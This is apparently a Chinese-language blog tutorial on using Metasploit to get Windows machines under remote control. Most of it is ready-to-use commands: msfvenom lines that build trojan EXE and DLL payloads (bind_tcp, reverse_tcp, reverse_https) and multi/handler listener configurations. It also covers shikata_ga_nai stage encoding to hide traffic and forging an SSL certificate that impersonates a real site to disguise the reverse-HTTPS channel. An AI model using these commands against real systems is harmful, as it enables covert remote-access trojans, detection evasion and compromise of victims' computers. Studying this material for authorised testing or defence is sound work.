前言 MSF实现Windows上线
MSF生成的payload的种类
Windows的32位可执行程序采用windows/,Windows的64位可执行程序采用windows/x64/
Shell模式采用shell/,Meterpreter模式采用meterpreter/
正向连接采用bind_,反向连接采用reverse_
TCP协议采用_tcp,HTTP协议采用_http,HTTPS协议采用_https
Shell模式
功能相对简单,主要提供一个命令行界面,用于执行一些基本的系统命令,如查看系统信息、文件操作等,但无法像Meterpreter那样进行复杂的后渗透操作
执行的命令和返回的数据是以明文形式进行传输的,容易被网络监控工具发现和分析,且在命令执行时,返回的数据可能因编码问题出现乱码
通常会在目标系统上创建一个新的进程来运行,相对来说更容易被系统监控和安全软件检测到
通常与特定的操作系统相关,不同操作系统的shell环境和命令存在差异,通用性相对较差
Meterpreter模式
功能非常强大和丰富,提供了200多个后渗透模块,如系统信息获取、密码哈希导出、文件上传下载、屏幕截取、键盘记录、权限提升、跳板攻击、反追踪等。它还可以进行进程迁移,将自身迁移到目标系统中更稳定或更隐蔽的进程中运行,以提高渗透的成功率和隐蔽性
在流量传输过程中会对信息进行加密,即使使用抓包工具进行抓包,也只能看到加密过的内容,从而提高了通信的安全性和隐蔽性
是一种完全基于内存的DLL注入式Payload,纯内存工作,不需要对磁盘进行任何写入操作,这使得它在目标计算机上运行时更难以被发现和检测。它会在被攻击进程内工作,不需要创建新的进程,进一步增强了隐蔽性
具有很好的跨平台支持,可以在不同操作系统上运行,包括Windows、Linux、Mac、Android等,这使得它在渗透测试过程中具有较高的灵活性和适用性
正向连接Demo
Windows的32位可执行程序,Meterpreter模式,正向连接,TCP协议
攻击者生成木马 exe
<port_local>:受害者开放的端口号-f exe:定义输出的文件类型-o <file>.exe:定义输出的文件路径
1 msfvenom -p windows/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=<port_local> -f exe -o <file>.exe
受害者执行木马
受害者执行木马,会自动监听端口,等待msf主动连接
攻击者建立连接
<ip_remote>:受害者IP地址<port_remote>:受害者端口号
1 2 3 4 5 6 msfconsole msf > use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/bind_tcp msf exploit(multi/handler) > set rhost <ip_remote> msf exploit(multi/handler) > set rport <port_remote> msf exploit(multi/handler) > set run
反向连接Demo
Windows的32位可执行程序,Meterpreter模式,反向连接,TCP协议
攻击者生成木马 exe可执行文件
<ip_local>:攻击者IP地址<port_local>:攻击者端口号-f exe:定义输出的文件类型-o <file>.exe:定义输出的文件路径
1 msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip_local> LPORT=<port_local> -f exe -o <file>.exe
dll动态链接库 1 msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip_local> LPORT=<port_local> -f dll -o <file>.dll
攻击者监听反弹Shell 1 2 3 4 5 6 msfconsole msf > use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 0.0.0.0 msf exploit(multi/handler) > set lport <port> msf exploit(multi/handler) > run
nc监听的反弹Shell也可以得到msf木马反弹的Shell
监听反弹Shell时混淆流量 1 2 msf exploit(multi/handler) > set enablestageencoding true msf exploit(multi/handler) > set stageencoder x86/shikata_ga_nai
受害者执行木马
受害者执行木马,会主动连接msf服务端,上线成功后,攻击者可以看到新的会话
采用HTTPS协议时使用自定义SSL证书 生成证书 手动生成证书
传送门
根据已有网站生成伪造的证书
<domain>:指定站点域名
1 2 3 4 msfconsole msf > use auxiliary/gather/impersonate_ssl msf auxiliary(gather/impersonate_ssl) > set RHOSTS <domain> msf auxiliary(gather/impersonate_ssl) > run
1 2 3 key: /root/.msf/loot/<file_name>.key crt: /root/.msf/loot/<file_name>.crt pem: /root/.msf/loot/<file_name>.pem
反向连接Demo
Windows的32位可执行程序,Meterpreter模式,反向连接,HTTPS协议
攻击者生成木马 exe可执行文件
<port_local>:受害者开放的端口号-f exe:定义输出的文件类型-o <file>.exe:定义输出的文件路径PayloadUUIDTracking=true:启用基于UUID的Payload追踪PayloadUUIDName=<uuid>:指定uuid用于Payload追踪HandlerSSLCert=<uuid>:指定HTTPS通信的SSL证书,需要指定合并公钥和私钥后的证书文件StagerVerifySSLCert=true:启用HTTPS通信前验证SSL证书
1 msfvenom -p windows/meterpreter/reverse_https LHOST=0.0.0.0 LPORT=<port_local> PayloadUUIDTracking=true PayloadUUIDName=<uuid> HandlerSSLCert=<file>.pem StagerVerifySSLCert=true -f exe -o <file>.exe
攻击者监听反弹Shell
set HandlerSSLCert <file>.pem:指定HTTPS通信的SSL证书,需要指定合并公钥和私钥后的证书文件set StagerVerifySSLCert true:启用HTTPS通信前验证SSL证书
1 2 3 4 5 6 7 8 msfconsole msf > use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_https msf exploit(multi/handler) > set lhost 0.0.0.0 msf exploit(multi/handler) > set lport <port> msf exploit(multi/handler) > set HandlerSSLCert <file>.pem msf exploit(multi/handler) > set StagerVerifySSLCert true msf exploit(multi/handler) > run
受害者执行木马
受害者执行木马,会主动连接msf服务端,上线成功后,攻击者可以看到新的会话
完成 参考文献 哔哩哔哩——xiaodisec CSDN——齐泽文的Blog